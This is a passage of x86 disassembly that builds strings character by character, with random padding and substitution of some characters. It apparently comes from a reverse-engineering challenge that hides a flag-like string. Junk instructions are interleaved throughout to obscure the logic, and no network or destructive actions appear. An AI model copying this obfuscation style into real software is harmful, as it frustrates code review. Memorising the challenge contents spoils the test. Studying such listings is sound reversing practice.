call fcn.0040f630
lea ecx, [ebp - 0x590]
call fcn.0040f630
lea ecx, [ebp - 0x300]
call fcn.0040f630
lea ecx, [ebp - 0x940]
call fcn.0040f630
lea ecx, [ebp - 0x5c0]
call fcn.0040f630
lea ecx, [ebp - 0x548]
call fcn.0040f630
lea ecx, [ebp - 0x2a0]
call fcn.0040f630
jmp 0x403321
push edi
mov edi, 0xeb74e0f
and edi, edx
mov edi, 0x205b5c5d
pop edi
mov eax, 5
mov word [0x4203b0], ax
mov dword [ebp - 0xb8], 0
jmp 0x40389b
mov ecx, dword [ebp - 0xb8]
add ecx, 1
mov dword [ebp - 0xb8], ecx
cmp dword [ebp - 0xb8], 3
jae 0x403dc6
lea ecx, [ebp - 0x7c]
call fcn.0040ed50
cmp dword [ebp - 0xb8], 0
jne 0x403a85
mov dword [ebp - 0x24], 0
jmp 0x4038cf
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x24], edx
jge 0x403a80
cmp dword [ebp - 0x24], 3
jne 0x4038fe
push 0x6d
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 8
jne 0x403921
push 0x79
lea ecx, [ebp - 0x7c]
call fcn.00410090
push eax
mov eax, 0x2fe07c6
and eax, eax
xor eax, ebp
xor eax, ebx
nop
pop eax
jmp 0x403a7b
cmp dword [ebp - 0x24], 9
jne 0x403936
push 0x66
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0xb
jne 0x40394b
push 0x5f
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0xf
jne 0x403960
push 0x6c
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x13
jne 0x403975
push 0x21
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x18
jne 0x403998
push 0x73
lea ecx, [ebp - 0x7c]
call fcn.00410090
push esi
mov esi, 0x2c041cd6
or esi, esi
sbb esi, esi
sbb esi, esp
nop
pop esi
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x1d
jne 0x4039ad
push 0x75
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x1f
jne 0x4039c2
push 0x70
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x21
jne 0x4039d7
push 0x6c
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x25
jne 0x4039ec
push 0x6f
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x28
jne 0x4039fe
push 0x28
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x2d
jne 0x403a10
push 0x64
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x32
jne 0x403a30
push 0x2e
lea ecx, [ebp - 0x7c]
call fcn.00410090
push ebp
xor ebp, ebx
mov ebp, 0x26211296
mov ebp, 0x27137423
pop ebp
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x33
jne 0x403a42
push 0x62
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x3c
jne 0x403a54
push 0x5f
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
cmp dword [ebp - 0x24], 0x41
jne 0x403a66
push 0x7a
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403a7b
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
push eax
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x4038c6
jmp 0x403dab
cmp dword [ebp - 0xb8], 1
jne 0x403c06
push edi
mov edi, 0x610e08f7
and edi, edx
sub edi, ebx
add edi, eax
nop
pop edi
mov dword [ebp - 0x34], 0
jmp 0x403ab2
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x34], edx
jge 0x403c01
cmp dword [ebp - 0x34], 5
jne 0x403aef
push 0x74
lea ecx, [ebp - 0x7c]
call fcn.00410090
push ebp
mov ebp, 0x308e0772
mov ebp, 0xb0e2ae0
add ebp, edx
pop ebp
jmp 0x403bfc
cmp dword [ebp - 0x34], 9
jne 0x403b04
push 0x21
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0xe
jne 0x403b19
push 0x78
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x14
jne 0x403b2e
push 0x74
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x15
jne 0x403b43
push 0x75
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x17
jne 0x403b66
push 0x70
lea ecx, [ebp - 0x7c]
call fcn.00410090
push ebx
sbb ebx, ebp
mov ebx, 0x30c44212
sub ebx, ebp
or ebx, esi
nop
pop ebx
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x18
jne 0x403b7b
push 0x6c
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x1d
jne 0x403b8d
push 0x6f
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x1f
jne 0x403b9f
push 0x28
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x21
jne 0x403bb1
push 0x64
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x25
jne 0x403bc3
push 0x2e
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x28
jne 0x403bd5
push 0x75
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
cmp dword [ebp - 0x34], 0x2d
jne 0x403be7
push 0x73
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403bfc
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
push eax
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403aa9
jmp 0x403dab
cmp dword [ebp - 0xb8], 2
jne 0x403dab
mov dword [ebp - 0x3c], 0
jmp 0x403c25
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x3c], edx
jge 0x403dab
cmp dword [ebp - 0x3c], 5
jne 0x403c54
push 0x74
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 9
jne 0x403c69
push 0x21
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0xe
jne 0x403c7e
push 0x78
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x14
jne 0x403c93
push 0x74
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x15
jne 0x403ca8
push 0x64
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x17
jne 0x403ce7
push 0x28
lea ecx, [ebp - 0x7c]
call fcn.00410090
push ebp
mov ebp, 0x68ce03ce
sbb ebp, esp
mov ebp, 0x53ab63c1
pop ebp
push ecx
mov ecx, 0x1dec7e89
and ecx, eax
mov ecx, 0x4b0f7072
pop ecx
push edi
mov edi, 0x50647416
mov edi, 0x32ec7d6d
xor edi, ebx
pop edi
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x18
jne 0x403d0a
push 0x74
lea ecx, [ebp - 0x7c]
call fcn.00410090
push esi
mov esi, 0x6df60118
xor esi, ebp
mov esi, 0xc615567
pop esi
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x1d
jne 0x403d1f
push 0x28
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x1f
jne 0x403d3f
push 0x2e
lea ecx, [ebp - 0x7c]
call fcn.00410090
push ecx
mov ecx, 0x56234b21
mov ecx, 0x1f1e60dc
and ecx, edx
pop ecx
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x21
jne 0x403d51
push 0x62
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x25
jne 0x403d63
push 0x5f
lea ecx, [ebp - 0x7c]
call fcn.00410090
jmp 0x403da6
cmp dword [ebp - 0x3c], 0x28
jne 0x403d83
push 0x7a
lea ecx, [ebp - 0x7c]
call fcn.00410090
push esi
mov esi, 0x60e262d8
mov esi, 0x63cb20f4
add esi, ebx
pop esi
jmp 0x403da6
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
push eax
lea ecx, [ebp - 0x7c]
call fcn.00410090
push ebp
mov ebp, 0x1f0641
xor ebp, ebx
mov ebp, 0x16652de2
pop ebp
jmp 0x403c1c
lea edx, [ebp - 0x7c]
push edx
mov ecx, 0x420474
call fcn.00416650
lea ecx, [ebp - 0x7c]
call fcn.0040f630
jmp 0x40388c
mov dword [ebp - 8], 0
jmp 0x403dd8
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jae 0x40486f
lea ecx, [ebp - 0xa8]
call fcn.0040ed50
cmp dword [ebp - 8], 0
jne 0x404233
push edx
and edx, ecx
sub edx, esi
sbb edx, edx
or edx, ecx
and edx, eax
add edx, ebx
pop edx
mov dword [ebp - 0xc], 0
jmp 0x403e17
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xc], edx
jge 0x40422e
push ebx
mov ebx, 0x7d58028e
mov ebx, 0x77cd7488
sub ebx, edx
pop ebx
cmp dword [ebp - 0xc], 3
jne 0x403e74
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 8
jne 0x403ed3
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
push esi
sub esi, eax
add esi, ecx
mov esi, 0x7d147f7
add esi, edi
nop
pop esi
push esi
and esi, ebx
mov esi, 0x59b67516
mov esi, 0x766f538b
pop esi
push edi
and edi, edi
mov edi, 0x5ed8282d
mov edi, 0x171b0356
pop edi
jmp 0x404229
cmp dword [ebp - 0xc], 9
jne 0x403f08
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0xb
jne 0x403f3d
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0xf
jne 0x403f8e
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
push ecx
mov ecx, 0x723a3865
and ecx, edi
or ecx, esp
and ecx, ebp
nop
pop ecx
push ecx
add ecx, edi
mov ecx, 0x4c672045
mov ecx, 0x11f01e2e
pop ecx
jmp 0x404229
cmp dword [ebp - 0xc], 0x13
jne 0x403fc3
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x18
jne 0x403ff8
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x1d
jne 0x40402d
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x1f
jne 0x404070
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push ecx
mov ecx, 0x2fdd1f14
mov ecx, 0x7e0a65dd
and ecx, esp
pop ecx
jmp 0x404229
cmp dword [ebp - 0xc], 0x21
jne 0x4040a5
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x25
jne 0x4040da
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x28
jne 0x40410f
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x2d
jne 0x404152
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push edi
add edi, esp
mov edi, 0xc5641af
mov edi, 0x7d7b0ec5
pop edi
jmp 0x404229
cmp dword [ebp - 0xc], 0x32
jne 0x404187
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x33
jne 0x4041b9
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x3c
jne 0x4041eb
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404229
cmp dword [ebp - 0xc], 0x41
jne 0x404229
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
push eax
and eax, esi
mov eax, 0x77676eb8
add eax, esi
or eax, eax
nop
pop eax
jmp 0x403e0e
jmp 0x404835
cmp dword [ebp - 8], 1
jne 0x404543
mov dword [ebp - 0x14], 0
jmp 0x40424f
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x14], edx
jge 0x40453e
cmp dword [ebp - 0x14], 5
jne 0x40429e
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 9
jne 0x4042e1
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
push edx
or edx, ebp
mov edx, 0x383f0944
mov edx, 0x162b46dd
pop edx
jmp 0x404539
cmp dword [ebp - 0x14], 0xe
jne 0x404316
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x14
jne 0x40434b
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x15
jne 0x404380
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x17
jne 0x4043b5
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x18
jne 0x4043f8
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push edi
mov edi, 0x69e567f8
or edi, edx
mov edi, 0x7cc1973
pop edi
jmp 0x404539
cmp dword [ebp - 0x14], 0x1d
jne 0x40442d
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x1f
jne 0x404462
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x21
jne 0x404497
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x25
jne 0x4044c9
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x28
jne 0x4044fb
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404539
cmp dword [ebp - 0x14], 0x2d
jne 0x404539
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push ecx
add ecx, ecx
mov ecx, 0x67611fae
mov ecx, 0x30fa2e7e
pop ecx
jmp 0x404246
jmp 0x404835
cmp dword [ebp - 8], 2
jne 0x404835
mov dword [ebp - 0x18], 0
jmp 0x40455f
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x18], edx
jge 0x404835
cmp dword [ebp - 0x18], 5
jne 0x4045bc
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push edi
mov edi, 0x63e71c22
mov edi, 0x694255e8
or edi, esp
pop edi
jmp 0x404830
cmp dword [ebp - 0x18], 9
jne 0x40460d
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
push esi
add esi, ebx
mov esi, 0x108727b7
mov esi, 0x39d33676
pop esi
push ecx
add ecx, esp
add ecx, ebx
mov ecx, 0x3c4e0b68
sub ecx, edi
nop
pop ecx
jmp 0x404830
cmp dword [ebp - 0x18], 0xe
jne 0x404650
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
push eax
mov eax, 0x1d244705
mov eax, 0x64e3076b
sub eax, ecx
pop eax
jmp 0x404830
cmp dword [ebp - 0x18], 0x14
jne 0x404685
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x15
jne 0x4046ba
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x17
jne 0x4046ef
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x18
jne 0x404724
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x1d
jne 0x404759
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x1f
jne 0x40478e
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x21
jne 0x4047c0
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x25
jne 0x4047f2
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404830
cmp dword [ebp - 0x18], 0x28
jne 0x404830
push edx
or edx, edx
mov edx, 0x5f555443
or edx, edi
sbb edx, esp
nop
pop edx
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00410090
jmp 0x404556
push esi
and esi, esp
xor esi, ebx
mov esi, 0x61165597
and esi, edx
nop
pop esi
lea edx, [ebp - 0xa8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fb80
lea ecx, [ebp - 0xa8]
call fcn.0040f630
jmp 0x403dcf
mov dword [ebp - 0x50], 0
jmp 0x404881
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov dword [ebp - 0x50], ecx
mov ecx, 0x420474
call fcn.00417ef0
cmp dword [ebp - 0x50], eax
jae 0x404997
mov dword [ebp - 0x5c], 0
jmp 0x4048a6
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.00417e50
cmp dword [ebp - 0x5c], eax
jae 0x404992
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x50]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
movsx eax, byte [eax]
cmp eax, 0x5f
jne 0x404911
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x50]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov byte [eax], 0x69
push ebp
mov ebp, 0x28b618f6
mov ebp, 0x5bfd589f
xor ebp, edx
pop ebp
jmp 0x40498d
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
movsx edx, byte [eax]
cmp edx, 0x21
jne 0x404950
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov byte [eax], 0x65
jmp 0x40498d
mov edx, dword [ebp - 0x5c]
push edx
